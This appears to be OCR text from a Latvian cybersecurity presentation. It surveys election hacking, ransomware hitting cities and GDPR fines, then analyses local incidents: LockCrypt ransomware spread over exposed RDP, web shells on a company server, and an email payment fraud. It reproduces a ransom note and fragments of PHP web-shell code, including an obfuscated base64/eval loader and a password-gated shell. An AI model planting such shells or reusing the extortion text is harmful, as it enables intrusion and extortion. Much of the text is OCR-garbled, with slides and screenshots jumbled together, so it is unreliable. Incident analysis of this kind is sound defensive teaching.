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Ukraine power cut 'was cyber-attack’
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2016 Presidential Campaign Hacking
Fast Facts
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News & buzz

LAPD is investigating after
video shows security
forcefully...

City council candidate wants
to keep town 'white'

|

July 2019. Libya arrested two men who were accused of working with a Russian troll farm

to influence the elections in several African countries.

A power cut that hit part of the Ukrainian capital, k
judged a cyber-attack by researchers investigating

(CNN) — Here's a look at hacking incidents during the 2016 presidential campaign and Russian 4
meddling in the election. For details about investigations into hacking and efforts to interfere with S‘ngapore HOUS@ Se”s for 33230 M”“O”



June 2019. Chinese intelligence services hacked into the Australian University to collect
data they could use to groom students as informants before they were hired into the civil

service.

April 2019. Hackers used spoofed email addresses to conduct a disinformation campaign in

Lithuania to discredit the Defense Minister by spreading rumors of corruption.

April 2019. The Finnish police probed a denial of service attack against the web service

used to publish the vote tallies from Finland’s elections.



Officials in Baltimore refused to pay the ransom, opting instead to manually

process thousands of transactions, including home sales. ‘'nment organisations hit by
2 attack

They also slowly restored access to around 10,000 employee email accounts. f © v [ < shae

The city estimated losses of around $18m (£15m) from the attack.

The hackers originally demanded $100,000 worth of Bitcoin. -

In June, council leaders in Riviera Beach, Florida, voted to pay almost $600,000

in the digital currency Bitcoin to hackers who paralysed the city's computer systems ‘ =
for weeks. TEXAS

- GETTY IMAGES

Ransomware is a type of malicious software that disables a computer and its data until a payment is made

A week later, officials in Lake City, Florida paid hackers $500,000 following a
similar ransomware demand.
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GDPR?

UK Netherlands
Marriott Haga Hospital
30 million residents of 1 person
the European Union
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UK

British Airways

about 380,000 customers
were harvested by the
attackers

only 22 lines of code
People's personal data is just
that - personal. When an
organisation fails to protect it
from loss, damage or theft, it
is more than an
inconvenience.

6.09.2018
£183,000,000



https://www.bbc.co.uk/news/business-48905907
https://crunchbase.com/organization/european-union

GDPR?

Spain

La Liga

used a mobile app to
determine whether bars
had pirated soccer
matches via a user’s
microphone

for not adequately
informing users of its
official app that the
programme can activate
smartphone
microphones and
monitor user location
250,000 eur

France

Sergic

was aware of the
vulnerability since

The DPA discovered
Sergic did not implement
any form of user
authentication for those
who could access the
documents, which factored
into the decision to
penalize the company
March 2018

400,000 eur

Lithuania
MisterTango UAB
improper processing
of personal data

the publicity of
personal data

the failure to give the
notification of the
personal data
breach

July 9-10.2018
61,500 eur



GDPR?

Novértét un pilnveidot
procesus un dokumentus

Pakapeniski ieviest
tehniskos risinajumus

Analizét riskus

Sekot I1dzi jaunumiem
un notikumiem



Incidenta
analize (1)



Kas un kur
Ir noticis?

Samera liels razoSanas
uznémums Latvija

NoSifreti Windows serveri un darba
stacijas, tai skaita to rezerves kopijas

|zpirkuma maksa par
vienu cieto disku — 1 BTC

Apstajusies razoSana, visi
uznémuma procesi



~
Name Date modified Type Size Date created
access

top 4 dgd6AncQNFtoNIOFNDoOPGtONIchDkYI...  04.04.2018 04:33 LOCK File 1KB  04.04.2018 04:33
|| egdzAnwQLVt+NkwFYjpKPHBOdFcEDI8I ...  04.04.20 LOCK File 1 KB

nloads [ evg.exe 02 Application 48 KB

uments || ewd9AmIQOFtoNIkFajplPHBObVemDIgl L. 04.04.20 LOCK File 1 KB

ures | | YAd9AnwWQMFtuNkoFKTpNPCxOdFc= ID... LOCK File 1KB 04.04.2

ic =| ReadMe.TxT Text Document 1KB 04

05 | | XQd5AmIQNIt-NIcFdzoWPDdOdIc9Dg=... LOCK File 1KB  04.04.2018 04:45

are vCenter

are vCenter

rive

ALL YOUR IMPORTANT DATA HAS BEEN ENCRYPTED.

To recover data you need decryptor.

To get the decryptor you should:

Send 1 test image or text file to XXXXXXXXXXXXXXXXXXXXX5@bitmessage.ch.
In the letter include your personal ID (look at the beginning of this document).

We will give you the decrypted file and assign the price for decryption all files

After we send you instruction how to pay for decrypt and after payment you will receive a
decryptor and instructions We can decrypt one file in quality the evidence that we have the
decoder.

Attention!

Only XXXXXXXXXXXXXXXXXXXXXXXXX5@bitmessage.ch can decrypt your files

Do not trust anyone XXXXXXXXXXXXXXXXXXXXXXXXXXt5 @bitmessage.ch

Do not attempt to remove the program or run the anti-virus tools

Attempts to self-decrypting files will result in the loss of your data

Decoders other users are not compatible with your data, because each user's unique encryption
key

{{IDENTIFIER}}
Your ID YYYYYYYYYYYY




Uzbrukuma
gaita

lzmantots Windows RDP, kas
pieejams no publiska tikla

Piemekléta konta parole

legitas Domain Administrator
tiesibas, parlasot lietotaju kontus
un to paroles

Uzbrukums veikts manuali,
pakapeniski Sifréjot aizvien jaunus
datorus tikla, izmantojot RDP



lzmeklésanas
atklajumi

Vaja ugunsmira konfiguracija

Neatjaunota antivirusa
programmatdra un trikst Windows
atjauninajumu

Parmérigs AD doména
administratoru skaits

(iespeéjams) Citi hakeri jau ieprieks bija
ieguvusi pieeju serverim, no kura tika veikts
uzbrukums



Nakamie soli

Zurnalfailu Launatiras Uzbruceja
analize (Malware) provokacija

Analize



Launaturas

analizes rezultati

The malicious executable was identified as
LockCrypt;

The ransom note is static in nature — it does
not change and has been hard-coded;

The email address used in the ransom note
is static and appears to have been used in
previous attacks;

The executable attempts to make a
connection with two IP addresses based in
Iran, (one of which appears to be a client IP
of an ISP);

The executable has the capability of
encrypting data offline (if the external IP
addresses is unreachable);

As its defense mechanism, the
application repeatedly closes all
non-essential processes;

To prevent easy recovery, the
malware deletes all shadow copies;

The application needs to be run
with administrator privileges;

The application makes heavy use
of the Windows API for most of its
operations (possibly causing
compatibility issues);

Each time an identical machine is
encrypted, a new identifier is
generated internally;



Uzbruceja
provokacija

Izveidoti vairaki viltus
lGgumi atSifrét failus

Péetita BTC
transakciju vésture

Pétitas sanemto e-pastu
IP adreses

u.c.



@ Output is spent - Click to load its children. @ Output is unspent and has no children. | Cluster By Address ¥
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Kas un kur
Ir noticis?

Liels produktu izplatiSanas
uznémums Latvija

Nosifréta gramatvedibas un darbibas
nodroSinasanas sistémas, tai skaita
to rezerves kopijas

Paralizéta uznémuma darbiba
Lai pieraditu, ka ir iespéjams

atjaunot datus uzbrucegjs ir
atSifréjis vienu serveri
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v » Search Results m Local Dk (C

s might be slow because the index is not running

Favontes

atownattendamlold ALCO

name:*.alco - Search Results in Local Disk (C)

» Admenestrator » AppData » Locs

Computer Management

S Sarver Bachug
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Uzbrukuma
gaita

Izmantots Windows RDP, kas
pieejams no publiska tikla

Piemekléta konta
parole

legGtas Domain Administrator tiesibas,
parlasot lietotaju kontus un to paroles

Uzbrukums veikts, pakapeniski
Sifrejot aizvien jaunus datorus tikla,
izmantojot RDP



lzmekléSanas
atklajumi

Vaja ugunsmura
konfiguracija

Vaja servera
konfiguracija

Nav izveidotas preventivas
detektéjoSas kontroles

Rezerves kopijas netika veiktas
drosa veida



Incidenta
analize (3)



Kas un kur
Ir noticis?

Autotransporta tirdzniecibas
un nomas uznémums Latvija

Publiski pieejama WEB
servera failu analize

Uznémuma darbiba nav
trauceta
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$GLOBALS[ 'Alfa_User'] = 'admin';//username 2
$GLOBALS[ 'Alfa_Pass'] = '56aed7e7485ff03d5685b885b86e947e"';//md5(password) - default p 3
$GLOBALS[ 'Alfa_Protect_Shell'] = '@';//1 - © 4
$GLOBALS[ 'Alfa_Login_Page'] = 'gui';//gui - 500 - 483 - 404 5
$GLOBALS[ 'Alfa_Show_Icons'] = '1';//1 - © 6

o
if(!function_exists('b'.'as'.'eé .'en'.'co'.'de")){function _ ZW5jb2Rlcg($data){i g
= $02 = $03 = $hl = $h2 = $h3 = $h4 = $bits = $i = ©;%ac = @;%enc = '';$tmp_arr = arra g
charCodeAt($data, $i++);$bits = $ol << 16 | $02 << 8 | $03;8hl = $bits >> 18 & Ox3f;$ho
$hl).charAt($b64, $h2).charAt($b64, $h3).charAt($b64, $h4);} while ($i ¢ strlen($data),
$enc).substr('= , ($r || 3));}function charCodeAt($data, $char){ return ord(suhstr($12
_ _ZW5jb2R1lcg($s){$b='b'.'as'.'e6'.'4_"'.'en'.'co'."'de';return $b($s);}}if(!function_exi
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@123456789+/=";%$chrl =
[*A-Za-z@-9\+\/\=]", "", $input);do{$encl = strpos($keyStr, substr($input, $i++, 1));$
$enc4 = strpos($keyStr, substr($input, $i++, 1));$chrl = ($encl << 2) | ($enc2 >> 4);$16
((int) $chril);if ($enc3 != 64) {$output = $output . chr((int) $chr2);}if ($encd != 64)

"";Iwhile($i < strlen($input));return $output;}}else{function __ZGijZRlcg($s){$b='b'.}7
('$x','ev'.'a'.'1'."(g'.'zi'.'nf'."1a" . "t (L LT _ZG L VG TB2 L 'R1e L g8 L X)L
+GfRV1sIhmcCQ1lL919urE7SqrI4q2b7C6SxZshLHjp5p3s@zdeFgvYsBUNBgT1DztQLAeSIH8ISWQbCRCS JQj+
oX/49/+Y/+Lz/929vt9lNc/idsN9vdJ/eS+RS2vLjeitvrqu531626+3+c/e3f/be/SL//Rf/Mv/4r/9xT//29
+9md/93d/8F/8+d/+23987e8//a0/+q//z9CaP+f++1f/+pPH8I5cut/62q8+/Fi58LP163/v521x/ 21 xGbNL+1
FPJPB/nX/+U//PF/1X//m1/o79nvnPeL/9U//MV//d/95nn/y2vZXP4szz/N02756V7Pn71tFL69//Zb8TVT322
+ay3xB7/+x3/@ey+49Nxff/CXf/F/hVN/fPM3PoBDf/kX/5vfPPRP/+nfnPvTX7XrH7r8f8D/g5/9yZ/sfvbxb23
+9E9/74e/iqDf/ej3FgbXgdu43S/5n7bxMyl++jd9+pPjVAXp27wybZxTzbglnb2LfKtPpvrok5/9nd9T2t/5/24
Yr/c27ccdxv3uivz9i/342u/1DmfvxPLvgf/0zv/3009jdveNdK/ vU7+QLlI+Pe5E2glTvnZh/iDNv5HkeX703 /25
/ueféH/+he/137qrvvvpb/7al/59QWfjOHBCOP/mTn/N/AJr+7t/9LFfTOdcL8+WID+u+KiIWqyvbWONNnlpz/5y26
sh11Cuq@17kIQmCTB3gQ80kn11n0d4tef4U627ik@DDiGPynnAKZrNNszgudsheNRZYCKkehPlswadctZ1Lg8D27
+1DQMX011wYBQ4itcKOS9Me26Y9s8U3VBROg/RU7eXaX0gff57Vim751SXHruDoKa91DvAgeolu39bTrrQZfpY2s
zrm3mVPA4aCfNIXuJsgHIipUYnPKIWuXqBRbo4Q8bfZHe2J4ULEUpumQptBnpEY1h0alhYM1Y3idYduFqioHlnyg
hrJdHtUp2VM7CPh9G/ tjE4i4yNS806 I jBTPmMHZcOR2HRFUGbY/ TQMrQIA35Who5@EL Pg6SXKAMLQCrSSHogog:
+XCLAGHFhERMSmMPIO1TuXYq7Y79eSjTNZULp5nfIGImuEuhBn5vvYNACXKMoz98DhKgM7Q998LyTZ39nq I 1U;
+ngCmqeileUttdbquYT7q0tqb8LEPfukeinYOD+67IKLupletVEbfobtfrIInBngaIsT4X9A+IBR75e632
+ySGPDCHjch9UnpA1Fwprquan‘t3mU6pnEokauszmsLOaFBGV/DleGtUSJZSSBBkolslaBtJ3-FiQUMQL33
GquchOyijBepMj1VCSOTR7KTdsBMCpSYldMU4R800NU98JEZ4XuWyuchrFP95kth5NMthBI4R4xdr44234
9DWqINpVIPWOAB2sqTWeEdag86nx6VZXdWFQH59XykG391VC1BHaeqlrjzxq969Mamck4dulzvyvTVYal / Mj1x0a
+V7aHEN9NSEW6 j20X1aiibS©To840pZt7GmQYBCUmAg91h1VveLO30hjtycWA/ InezxFhO02ahSBzPbVywd/mez
+ncvdeYjKiSMoAv2LALMIZQBXxz797nQ6qZ0ZL2RTSgZXxwASpabIWnTUpd 2HXBju+NQBpHaCMAYVIdluvXM1DudK
9CFRUij5HJh4h25bczh1BCUIRj0y3mKTuthukf23wdwjbNH9AwumkoIdInTHXVGOg4HwaN9vAdBfA3PlePds
+mrMma:lh2NmeSSCH17j5+SDu+tByiMSNupIZuLUdnqaeijRsOKNdvczqsa?coCZapIGDSMOdeTngNReXG+38
+9pNU10QT0eEQXhEPfC9kaer-+BblVAbcDBjbAugUXqBVuieZLRnp+drkc01JVT4:'|.k31ngany83VH7quCVU39
+XJOTgwxer1Eu17vTeViLsrezfclshRAnp4F7fchwtr03b+2rlTZo76aiVyZ+nYXoIUEOSGFejx/FQFIXFBPeth
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k?php
@session_start();
@set_time_limit(@);
###H# Cf ghiaHH

# use password true / false #
$create_password = true;
$password = "me";
###AHFverdtid

$ver= "vl.3";
#HEHFHAHAHAEHHE
@$pass=$_POST[ 'pass'];
if($pass==$password)q{
$_SESSION[ 'nst']="$pass";

}
if($create_password==true){

if(lisset($_SESSION[ 'nst']) or $_SESSION[ 'nst']!=$password){

die("
<noembed><xmp><body></xmp></noembed><noembed><xmp></body></html></xmp></noembed><title>”_~</title>
<center>

<table width=10@ bgcolor=000000 border=6 bordercolor=999999><tr><td>

<font size=1 face=verdana><center>

<b></font></a><br></b>

</center>

<form method=post>

¢<font size=1 face=verdana color=99CCFF><strong><center><br>Password of shell #_»*
</center></strong><br>

<¢input type=password name=pass size=36>

</form>

<b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br>

<b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>

¢<b>Your ip:</b> ".$_SERVER["REMOTE_ADDR"]."

</td></tr></table>

")}

/7
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//SparkyDz Shell Privg ;)
//Greeet"z to All Algerian Hackers ;)
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Incidenta
analize (4)



Kas un kur
Ir noticis?

Razosanas uznémums
Latvija

Parskaitita nauda viltus
sadarbibas klientam

Uznémuma darbiba nav
trauceta



lzmekléSanas
atklajumi

NedroSa paro|u politika

E-pasti parsatiti
uzbrucéjam

Launatdras klatbltne nav identificeta

Visdrizak uzbrukuma vektors bija
sadarbibas partneris



Secinajumi

Laundari nesnauz

Obligati - OS atjauninajumi, paroles, tikla
segmentacija utt.

NepiecieSama visaptverosa pieeja IT
droSibai

Apzinats plans krizes situacijam



Mums ir svarigi lai ,
: /%
Jums izdodas!




